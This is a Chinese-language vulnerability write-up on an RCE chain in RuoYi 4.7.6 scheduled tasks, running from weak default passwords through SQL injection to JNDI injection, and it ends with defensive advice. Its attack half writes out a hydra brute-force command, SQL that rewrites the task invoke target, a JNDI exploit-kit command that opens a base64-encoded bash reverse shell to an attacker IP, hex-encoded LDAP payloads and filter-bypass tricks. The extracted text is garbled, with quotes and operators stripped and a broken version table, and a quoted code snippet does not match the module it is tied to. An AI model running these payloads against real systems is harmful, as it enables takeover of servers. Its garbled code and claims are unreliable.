若依系统 4.7.6 版本定时任务 RCE 漏洞:从 SQL 注入到 JNDI 注入的完整利用链分析
若依系统4.7.6版本定时任务RCE漏洞深度剖析从SQL注入到JNDI注入的完整攻击链在Java企业级应用开发领域若依(RuoYi)作为一款基于SpringBoot的快速开发框架凭借其丰富的功能模块和简洁的代码结构已成为国内众多企业和机构的首选解决方案。然而正是这样一个被广泛使用的框架在其4.7.6及以下版本中隐藏着一条从SQL注入到远程代码执行(RCE)的完整攻击链。本文将深入剖析这一复杂漏洞的成因、利用方式及防御策略为安全研究人员提供全面的技术视角。1. 漏洞背景与影响范围若依系统的定时任务功能本是为管理员提供自动化运维能力的重要组件却因多重安全防护缺失演变为攻击者突破系统防线的致命入口。该漏洞链影响4.7.6及以下所有版本攻击者通过组合利用以下漏洞可实现完全控制系统后台弱口令默认admin/admin123等常见凭证SQL注入漏洞定时任务参数未过滤JNDI注入漏洞通过SQL注入修改任务执行目标权限绕过问题后台功能缺乏严格权限校验这种漏洞组合在实际渗透测试中具有极高利用价值攻击者无需任何前置条件即可完成从外网到内网的横向移动。根据公开的SRC报告数据超过60%的若依系统部署存在未修复的类似漏洞。关键提示该漏洞链的独特之处在于将传统SQL注入与现代JNDI注入技术完美结合突破了常规WAF的防护策略。2. 漏洞利用链详细分析2.1 初始访问突破认证防线攻击流程通常始于对管理后台的渗透尝试。若依系统存在以下常见弱口令组合用户名常见密码adminadmin123ruoyiruoyi123druiddruidtest123456通过自动化工具批量测试这些凭证攻击者往往能在短时间内获取后台访问权限。更危险的是部分系统可能完全禁用认证或配置错误的权限控制。# 使用hydra进行基础爆破示例 hydra -L users.txt -P passwords.txt target.com http-post-form /login:username^USER^password^PASS^:错误2.2 SQL注入篡改任务执行逻辑成功登录后台后攻击者定位到系统监控 - 定时任务功能模块。此处存在关键SQL注入点// GenTableServiceImpl.java 片段 public void createTable(String sql) { try { sql StringUtils.replace(sql, ${schema}, shiroConfig.getSchema()); SpringUtils.getBean(DataSource.class).getConnection().createStatement().execute(sql); } catch (SQLException e) { throw new ServiceException(执行SQL错误); } }攻击者通过构造特殊SQL语句可修改系统任务表中的invoke_target字段值UPDATE sys_job SET invoke_target 恶意代码 WHERE job_id 1这个注入点之所以危险在于它直接拼接用户输入到SQL语句执行环境具有高权限数据库账户修改后的任务将由系统自动执行2.3 JNDI注入实现远程代码执行通过SQL注入篡改invoke_target后攻击者可植入JNDI注入payload实现RCE。典型利用流程如下启动恶意LDAP服务使用JNDI-Injection-Exploit工具java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C bash -c {echo,base64编码命令}|{base64,-d}|{bash,-i} -A 攻击者IP构造十六进制编码的JNDI payloadjavax.naming.InitialContext.lookup(ldap://攻击者IP:1389/恶意类)通过SQL注入更新任务参数UPDATE sys_job SET invoke_target 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f78787878783a313338392f4261736963546573742729 WHERE job_id 1等待系统执行被篡改的定时任务3. 漏洞复现环境搭建为深入理解漏洞原理建议搭建以下测试环境环境要求JDK 1.8存在JNDI注入漏洞的版本MySQL 5.7若依4.7.6版本部署步骤数据库初始化CREATE DATABASE ruoyi DEFAULT CHARACTER SET utf8mb4; GRANT ALL PRIVILEGES ON ruoyi.* TO ruoyi% IDENTIFIED BY ruoyi123;修改应用配置# application.yml spring: datasource: url: jdbc:mysql://localhost:3306/ruoyi?useSSLfalse username: ruoyi password: ruoyi123使用Docker快速搭建LDAP服务docker run -p 1389:1389 -p 8888:8888 -e HTTP_PORT8888 -e LDAP_PORT1389 -d jmx0/jndi-exploit-kit4. 高级利用技巧与绕过手段在实际渗透测试中攻击者会采用多种技术提升攻击成功率4.1 字符限制绕过当系统对特殊字符进行过滤时可采用以下技术十六进制编码将完整payload转换为十六进制格式注释符分割利用/**/绕过空格过滤UPDATE/**/sys_job/**/SET/**/invoke_target0x6a6176.../**/WHERE/**/job_id14.2 无回显检测技术在内网环境中可通过DNS外带技术确认漏洞存在// DNS查询payload javax.naming.InitialContext.lookup(ldap://xxx.dnslog.cn)4.3 多版本适配方案针对不同若依版本攻击payload需要相应调整版本范围绕过技术4.6.2-4.7.2单引号转义http://4.6.2直接LDAP协议调用4.7.3需结合其他漏洞如Fastjson5. 防御方案与修复建议针对该漏洞链建议采取分层防御策略立即措施升级到4.7.7及以上版本修改所有默认凭证禁用不必要的定时任务功能代码层修复// 安全的SQL执行方式 public void safeCreateTable(String sql) { String safeSql SQLFilter.sqlInject(sql); // 添加过滤 jdbcTemplate.execute(safeSql); }系统层防护配置网络ACL限制LDAP出站连接使用RASP防护JNDI注入启用JDK高版本安全限制监控与响应-- 监控任务表变更 CREATE TRIGGER job_audit AFTER UPDATE ON sys_job FOR EACH ROW BEGIN IF NEW.invoke_target ! OLD.invoke_target THEN INSERT INTO security_log VALUES(NEW.job_id, 任务变更警告); END IF; END;6. 漏洞的深层启示这个漏洞链暴露出Java生态系统中几个关键安全问题框架默认安全性不足过度信任后端输入防御措施碎片化缺乏统一的安全处理机制漏洞组合威力单个漏洞可能无害组合起来却致命在企业安全建设中应当建立完整的SDL流程对框架进行二次安全加固而非直接使用默认配置。同时建议定期进行红蓝对抗演练提前发现这类深层次的漏洞链。